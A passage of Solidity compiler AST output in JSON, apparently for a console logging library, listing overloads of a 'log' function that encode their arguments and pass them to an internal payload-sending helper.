pure"}},"id":29489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49975:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29490,"nodeType":"ExpressionStatement","src":"49975:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49899:3:15","parameters":{"id":29478,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29471,"mutability":"mutable","name":"p0","nameLocation":"49908:2:15","nodeType":"VariableDeclaration","scope":29492,"src":"49903:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29470,"name":"bool","nodeType":"ElementaryTypeName","src":"49903:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29473,"mutability":"mutable","name":"p1","nameLocation":"49926:2:15","nodeType":"VariableDeclaration","scope":29492,"src":"49912:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29472,"name":"string","nodeType":"ElementaryTypeName","src":"49912:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29475,"mutability":"mutable","name":"p2","nameLocation":"49935:2:15","nodeType":"VariableDeclaration","scope":29492,"src":"49930:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29474,"name":"bool","nodeType":"ElementaryTypeName","src":"49930:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29477,"mutability":"mutable","name":"p3","nameLocation":"49947:2:15","nodeType":"VariableDeclaration","scope":29492,"src":"49939:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29476,"name":"uint256","nodeType":"ElementaryTypeName","src":"49939:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49902:48:15"},"returnParameters":{"id":29479,"nodeType":"ParameterList","parameters":[],"src":"49965:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29515,"nodeType":"FunctionDefinition","src":"50077:186:15","nodes":[],"body":{"id":29514,"nodeType":"Block","src":"50158:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c737472696e6729","id":29506,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50208:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_483d0416329d0c81c68975a0cac822497c590c00f8ae8be66af490d0f9215468","typeString":"literal_string \"log(bool,string,bool,string)\""},"value":"log(bool,string,bool,string)"},{"id":29507,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29494,"src":"50240:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29508,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29496,"src":"50244:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29509,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29498,"src":"50248:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29510,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29500,"src":"50252:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_483d0416329d0c81c68975a0cac822497c590c00f8ae8be66af490d0f9215468","typeString":"literal_string \"log(bool,string,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29504,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50184:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29505,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50188:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50184:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50184:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29503,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"50168:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50168:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29513,"nodeType":"ExpressionStatement","src":"50168:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50086:3:15","parameters":{"id":29501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29494,"mutability":"mutable","name":"p0","nameLocation":"50095:2:15","nodeType":"VariableDeclaration","scope":29515,"src":"50090:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29493,"name":"bool","nodeType":"ElementaryTypeName","src":"50090:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29496,"mutability":"mutable","name":"p1","nameLocation":"50113:2:15","nodeType":"VariableDeclaration","scope":29515,"src":"50099:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29495,"name":"string","nodeType":"ElementaryTypeName","src":"50099:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29498,"mutability":"mutable","name":"p2","nameLocation":"50122:2:15","nodeType":"VariableDeclaration","scope":29515,"src":"50117:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29497,"name":"bool","nodeType":"ElementaryTypeName","src":"50117:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29500,"mutability":"mutable","name":"p3","nameLocation":"50140:2:15","nodeType":"VariableDeclaration","scope":29515,"src":"50126:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29499,"name":"string","nodeType":"ElementaryTypeName","src":"50126:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50089:54:15"},"returnParameters":{"id":29502,"nodeType":"ParameterList","parameters":[],"src":"50158:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29538,"nodeType":"FunctionDefinition","src":"50269:175:15","nodes":[],"body":{"id":29537,"nodeType":"Block","src":"50341:103:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c626f6f6c29","id":29529,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50391:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_dc5e935b9ccf45ff13b5900aeaf3a593df3e9479fc07e9c213f5fcaa0951e91f","typeString":"literal_string \"log(bool,string,bool,bool)\""},"value":"log(bool,string,bool,bool)"},{"id":29530,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29517,"src":"50421:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29531,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29519,"src":"50425:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29532,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29521,"src":"50429:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29533,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29523,"src":"50433:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dc5e935b9ccf45ff13b5900aeaf3a593df3e9479fc07e9c213f5fcaa0951e91f","typeString":"literal_string \"log(bool,string,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29527,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50367:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29528,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50371:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50367:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29534,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50367:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29526,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"50351:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50351:86:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29536,"nodeType":"ExpressionStatement","src":"50351:86:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50278:3:15","parameters":{"id":29524,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29517,"mutability":"mutable","name":"p0","nameLocation":"50287:2:15","nodeType":"VariableDeclaration","scope":29538,"src":"50282:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29516,"name":"bool","nodeType":"ElementaryTypeName","src":"50282:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29519,"mutability":"mutable","name":"p1","nameLocation":"50305:2:15","nodeType":"VariableDeclaration","scope":29538,"src":"50291:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29518,"name":"string","nodeType":"ElementaryTypeName","src":"50291:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29521,"mutability":"mutable","name":"p2","nameLocation":"50314:2:15","nodeType":"VariableDeclaration","scope":29538,"src":"50309:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29520,"name":"bool","nodeType":"ElementaryTypeName","src":"50309:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29523,"mutability":"mutable","name":"p3","nameLocation":"50323:2:15","nodeType":"VariableDeclaration","scope":29538,"src":"50318:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29522,"name":"bool","nodeType":"ElementaryTypeName","src":"50318:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"50281:45:15"},"returnParameters":{"id":29525,"nodeType":"ParameterList","parameters":[],"src":"50341:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29561,"nodeType":"FunctionDefinition","src":"50450:181:15","nodes":[],"body":{"id":29560,"nodeType":"Block","src":"50525:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c6164647265737329","id":29552,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50575:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_538e06ab06366b189ea53da7c11628ee5730bc373b0bc64719bea1a2afab03c5","typeString":"literal_string \"log(bool,string,bool,address)\""},"value":"log(bool,string,bool,address)"},{"id":29553,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29540,"src":"50608:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29554,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29542,"src":"50612:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29555,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29544,"src":"50616:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29556,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29546,"src":"50620:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_538e06ab06366b189ea53da7c11628ee5730bc373b0bc64719bea1a2afab03c5","typeString":"literal_string \"log(bool,string,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29550,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50551:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29551,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50555:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50551:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50551:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29549,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"50535:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29558,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50535:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29559,"nodeType":"ExpressionStatement","src":"50535:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50459:3:15","parameters":{"id":29547,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29540,"mutability":"mutable","name":"p0","nameLocation":"50468:2:15","nodeType":"VariableDeclaration","scope":29561,"src":"50463:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29539,"name":"bool","nodeType":"ElementaryTypeName","src":"50463:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29542,"mutability":"mutable","name":"p1","nameLocation":"50486:2:15","nodeType":"VariableDeclaration","scope":29561,"src":"50472:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29541,"name":"string","nodeType":"ElementaryTypeName","src":"50472:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29544,"mutability":"mutable","name":"p2","nameLocation":"50495:2:15","nodeType":"VariableDeclaration","scope":29561,"src":"50490:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29543,"name":"bool","nodeType":"ElementaryTypeName","src":"50490:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29546,"mutability":"mutable","name":"p3","nameLocation":"50507:2:15","nodeType":"VariableDeclaration","scope":29561,"src":"50499:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29545,"name":"address","nodeType":"ElementaryTypeName","src":"50499:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"50462:48:15"},"returnParameters":{"id":29548,"nodeType":"ParameterList","parameters":[],"src":"50525:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29584,"nodeType":"FunctionDefinition","src":"50637:187:15","nodes":[],"body":{"id":29583,"nodeType":"Block","src":"50715:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c75696e7432353629","id":29575,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50765:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a5cada94c7dfdda57d4cfcf14da44c63431bfd533756a6e0d0d0a684af164218","typeString":"literal_string \"log(bool,string,address,uint256)\""},"value":"log(bool,string,address,uint256)"},{"id":29576,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29563,"src":"50801:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29577,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29565,"src":"50805:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29578,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29567,"src":"50809:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29579,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29569,"src":"50813:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a5cada94c7dfdda57d4cfcf14da44c63431bfd533756a6e0d0d0a684af164218","typeString":"literal_string \"log(bool,string,address,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29573,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50741:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29574,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50745:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50741:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29580,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50741:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29572,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"50725:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50725:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29582,"nodeType":"ExpressionStatement","src":"50725:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50646:3:15","parameters":{"id":29570,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29563,"mutability":"mutable","name":"p0","nameLocation":"50655:2:15","nodeType":"VariableDeclaration","scope":29584,"src":"50650:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29562,"name":"bool","nodeType":"ElementaryTypeName","src":"50650:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29565,"mutability":"mutable","name":"p1","nameLocation":"50673:2:15","nodeType":"VariableDeclaration","scope":29584,"src":"50659:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29564,"name":"string","nodeType":"ElementaryTypeName","src":"50659:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29567,"mutability":"mutable","name":"p2","nameLocation":"50685:2:15","nodeType":"VariableDeclaration","scope":29584,"src":"50677:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29566,"name":"address","nodeType":"ElementaryTypeName","src":"50677:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29569,"mutability":"mutable","name":"p3","nameLocation":"50697:2:15","nodeType":"VariableDeclaration","scope":29584,"src":"50689:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29568,"name":"uint256","nodeType":"ElementaryTypeName","src":"50689:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"50649:51:15"},"returnParameters":{"id":29571,"nodeType":"ParameterList","parameters":[],"src":"50715:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29607,"nodeType":"FunctionDefinition","src":"50830:192:15","nodes":[],"body":{"id":29606,"nodeType":"Block","src":"50914:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c737472696e6729","id":29598,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50964:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_12d6c788fea4d6144f2607e1e8821bec55a5c2dfdc4cece41a536f7b7831e7a7","typeString":"literal_string \"log(bool,string,address,string)\""},"value":"log(bool,string,address,string)"},{"id":29599,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29586,"src":"50999:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29600,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29588,"src":"51003:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29601,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29590,"src":"51007:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29602,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29592,"src":"51011:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_12d6c788fea4d6144f2607e1e8821bec55a5c2dfdc4cece41a536f7b7831e7a7","typeString":"literal_string \"log(bool,string,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29596,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50940:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29597,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50944:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50940:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29603,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50940:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29595,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"50924:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50924:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29605,"nodeType":"ExpressionStatement","src":"50924:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50839:3:15","parameters":{"id":29593,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29586,"mutability":"mutable","name":"p0","nameLocation":"50848:2:15","nodeType":"VariableDeclaration","scope":29607,"src":"50843:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29585,"name":"bool","nodeType":"ElementaryTypeName","src":"50843:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29588,"mutability":"mutable","name":"p1","nameLocation":"50866:2:15","nodeType":"VariableDeclaration","scope":29607,"src":"50852:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29587,"name":"string","nodeType":"ElementaryTypeName","src":"50852:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29590,"mutability":"mutable","name":"p2","nameLocation":"50878:2:15","nodeType":"VariableDeclaration","scope":29607,"src":"50870:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29589,"name":"address","nodeType":"ElementaryTypeName","src":"50870:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29592,"mutability":"mutable","name":"p3","nameLocation":"50896:2:15","nodeType":"VariableDeclaration","scope":29607,"src":"50882:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29591,"name":"string","nodeType":"ElementaryTypeName","src":"50882:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50842:57:15"},"returnParameters":{"id":29594,"nodeType":"ParameterList","parameters":[],"src":"50914:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29630,"nodeType":"FunctionDefinition","src":"51028:181:15","nodes":[],"body":{"id":29629,"nodeType":"Block","src":"